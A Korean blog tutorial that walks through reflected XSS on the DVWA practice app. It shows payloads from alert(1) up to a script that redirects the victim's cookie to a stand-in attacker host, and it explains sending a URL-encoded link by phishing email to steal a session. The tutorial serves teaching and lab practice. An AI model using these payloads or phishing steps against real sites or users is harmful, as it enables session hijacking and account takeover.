[웹해킹] XSS 공격이란?

DVWA Security Level 을 Low로 설정하고 XSS (Reflected) 페이지로 들어간다.
페이지에 접속하면 이름을 물어보는 폼이 있다. 여기에 alice라고 입력해보자.

 

 

입력한 값이 다시 그대로 리턴 되는 것을 알 수 있다. XSS 취약점을 찾기 위한 가장 간단한 방법은 script 태그를 위와 같은 폼에 입력해 보는 것이다. <script>alert(1)</script> 구문을 넣어보자.

 

 

위 그림과 같이 XSS 취약점이 있으면 이렇게 script가 실행된다. alert라는 함수에 의해서 1이라는 값이 출력 되었는데 이 말은 script가 웹 브라우저에서 실행 되었다는 뜻이고 XSS 공격이 가능하다는 뜻이다. 이와 같이 script 코드가 요청에 실어 보내질 때 바로 script가 리턴이 되어 실행되는 것을 reflected XSS 공격이라고 한다.


이번에는 <script>alert(document.cookie)</script> 라고 입력해보자.

 

 

쿠키의 값이 출력되었다. 이번에는 이런 쿠키 값을 해커가 관리하는 시스템으로 전달해보자. 터미널을 해커의 호스트라고 가정한다. 터미널에서 웹 서버의 로그를 출력하기 위해 tail -f /opt/lampp/logs/access_log 를 실행한다.

 

 

해커 호스트에 웹 서버의 로그가 출력 되는데 tail -f 옵션을 주어 사용하면 이후에 발생하는 로그가 뒤에 출력 된다. 이번에는 name 폼에다가 <script>document.location='http://127.0.0.1/cookie?'+document.cookie</script> 입력한다. document.location 코드는 그 뒤에 명시된 127.0.0.1(해커 사이트) 사이트로 리다이렉트 시켜주고 document.cookie라는 코드는 이용해서 쿠키 값을 찍어주는 역할을 한다.

 

 

브라우저에서는 리다이렉트가 되었고

해커쪽 로그를 보니 쿠키 뒤에 security=low와 PHP 세션 ID라고 하는 쿠키 값이 그대로 출력 되었다. 이로써 해커는 XSS 공격에 당한 사용자의 쿠키를 빼낼 수 있게 되었다. 빼낸 쿠키를 이용해서 해당 사용자의 권한으로 웹 사이트에 접속할 수 있다.

그런데 여기서 한 가지 의문점이 생길 수 있다. 어떤 멍청한 사용자가 이런 script 코드를 직접 입력을 할까? 사실 아무도 그렇게 하지 않을 것이다. 해커는 피싱을 이용해서 사용자가 이러한 요청을 자기도 모르게 하도록 만들어야 한다. 간단하게 피싱을 한 번 해보자. 다시 XSS 페이지로 돌아와서 alice를 입력해보자.

 

 

위의 주소창을 보면 name 파라미터에 alice 값이 전달되는 것을 알 수 있다. 이것을 이용해 간단한 피싱용 이메일을 하나 만들어 보겠다. 위 주소에서 # 앞부분 까지 복사를 하고 이 링크를 우리가 사용하는 메일 프로그램 하나를 열어 공격 당할 사용자에게 메일로 보낸다. 링크를 걸 때 name 파라미터에 alice 대신 스크립트 코드를 입력하는데 방금 전에 해커 사이트로 쿠키를 보낼 때 사용했던 스크립트 코드를 넣어 준다.
주의 할 것은 gmail을 이용해서 링크를 삽입 할 때는 '=', '?', '+' 와 같은 특수 문자를 url 인코딩 이라는 기법을 이용해서 인코딩을 해주어야 한다. url 인코딩 이라는 것은 어떤 문자를 아스키 값으로 변환한 다음 %를 붙여서 웹 서버로 전달하는 것으로 웹 서버에서는 이것을 다시 디코딩 해서 원래의 문자로 인식하는 기법이다. 각 문자에 대한 아스키 값은 인터넷에서 검색을 하면 쉽게 찾을 수 있다. 밑의 script를 name 파라미터에 넣는다.

 

메일을 받고 링크를 누르는 순간 웹 서버의 로그가 발생하는데 사용자의 쿠키 값이 전달 되는 것을 알 수 있다.

 

댓글

Designed by JB FACTORY